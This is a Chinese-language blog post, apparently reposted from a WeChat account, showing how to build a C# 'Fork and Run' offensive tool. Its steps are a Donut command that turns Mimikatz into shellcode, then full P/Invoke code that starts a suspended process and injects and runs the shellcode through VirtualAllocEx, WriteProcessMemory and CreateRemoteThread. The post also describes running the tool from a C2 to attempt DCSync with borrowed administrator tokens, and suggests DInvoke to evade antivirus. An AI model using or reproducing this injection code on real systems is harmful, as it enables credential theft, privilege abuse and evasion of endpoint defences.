介绍
在前面的文章中,我们了解了如何使用 Windows API为当前用户或具有其他用户权限的用户创建进程。现在,我们将利用这些知识来注入我们想要执行的恶意代码。
Shellcode 准备
第一步是生成我们的“shellcode”。网上有很多关于理解和生成 shellcode 的资源,但这超出了本系列文章的范围。因此,我们将简单地使用Donut,这是一个可以自动生成所需 shellcode 来执行所选 Windows 程序的程序(在此示例中,我们将使用著名的工具 Mimikatz):
/opt/donut/donut -i /mnt/Share/Utils/win/programs/mimikatz64.exe -f 1 -a 2 -o /mnt/Share/tmp/Payload.bin -p 'coffee exit'
现在,我们需要将包含二进制代码的文件合并到我们的应用程序中,以便能够注入它。对于这篇文章,我们只需将其作为资源添加到我们的 .NET 项目中:
为此,请转到我们项目的属性
选择“资源”选项卡,然后单击链接“此项目不包含默认资源文件。单击此处创建一个。”
将资源类型更改为“文件”。
点击“添加资源”,选择我们刚刚生成的文件。
要从我们的程序访问此资源的内容,我们可以使用以下代码行:
var shellcode = Properties.Resources.Payload;
Shellcode 注入
在将此代码注入我们将要创建的进程之前,还需要进行一项更改。在本例中,我们正在创建一个进程,该进程将充当运行恶意程序的 shell。因此,当我们启动该进程时,我们不希望它执行自己的代码。为了实现这一点,我们将以挂起状态启动该进程。因此,我们将在进程创建属性中插入以下行:
creationFlags |= PROCESS_CREATION_FLAGS.CREATE_SUSPENDED;
我们需要导入这三个函数:
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
int dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
int dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
我们还需要导入相关的结构:
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
在我们的程序中,我们使用这些函数将代码注入到进程中:
var baseAddress = VirtualAllocEx(
pInfo.hProcess,
IntPtr.Zero,
shellcode.Length,
AllocationType.Commit | AllocationType.Reserve,
MemoryProtection.ReadWrite);
if (baseAddress == IntPtr.Zero)
throw new InvalidOperationException($"Failed to allocate memory, error code: {Marshal.GetLastWin32Error()}");
IntPtr bytesWritten = IntPtr.Zero;
if (!WriteProcessMemory(pInfo.hProcess, baseAddress, shellcode, shellcode.Length, out bytesWritten))
throw new InvalidOperationException($"Failed to write shellcode into the process, error code: {Marshal.GetLastWin32Error()}");
if (bytesWritten.ToInt32() != shellcode.Length)
throw new InvalidOperationException($"Failed to write All the shellcode into the process");
if (!VirtualProtectEx(
pInfo.hProcess,
baseAddress,
shellcode.Length,
MemoryProtection.ExecuteRead,
out _))
{
throw new InvalidOperationException($"Failed to cahnge memory to execute, error code: {Marshal.GetLastWin32Error()}");
}
要执行注入的代码,我们可以依赖 CreateRemoteThread 函数,我们需要导入该函数:
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
然后,我们可以按如下方式使用它:
IntPtr threadres = IntPtr.Zero;
IntPtr thread = CreateRemoteThread(pInfo.hProcess, IntPtr.Zero, 0, baseAddress, IntPtr.Zero, 0, out threadres);
if (thread == IntPtr.Zero)
throw new InvalidOperationException($"Failed to create remote thread to start execution of the shellcode, error code: {Marshal.GetLastWin32Error()}");
结果如下:
它在我们的 C2 中看起来像什么?
在我们的 C2 中组装迄今为止准备好的所有部分,我们能够使用其他用户的权限执行恶意工具(例如 Mimikatz)。
让我们使用“Fork And Run”实现来尝试对当前用户进行 DCSync 攻击:
正如预期的那样,我们没有足够的权限进行这次攻击。
现在我们来利用Token操作来借用我们机器登录管理员的权限:
你可以在Github上找到本文的完整源代码:https://github.com/Fropops/OffensiveWinAPI/blob/main/TestForBlog/Injection.cs
最后的话
在本系列文章中,我们重点介绍了如何用 C# 实现“Fork and Run”技术的最简单版本。但是,仍有几个方面需要改进,特别是在利用 Windows API 和代码注入技术方面。
使用 PInvoke 直接调用 Windows API 函数为防病毒和其他防御工具的检测提供了重要机会。为了降低这种检测风险,已经开发出调用这些函数的替代方法,以使攻击更加隐蔽。一种众所周知的替代方法是使用由TheWover推广的 DInvoke(动态调用)。RastaMouse 还重新编写了代码,以提供一种极简形式,可以轻松集成到gitHub上提供的攻击工具中。如需进一步了解,我强烈建议阅读 Crypt0ace 关于该主题的博客文章:https://crypt0ace.github.io/posts/Using-DInvoke-For-Offensive-Tool-Development/。
除了 Windows API 增强功能外,还有多种代码注入方法值得探索。Crypt0ace 在他的博客中广泛介绍了各种注入技术。这些文章提供了这些技术的全面概述和解释。
原文始发于微信公众号(Ots安全):C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论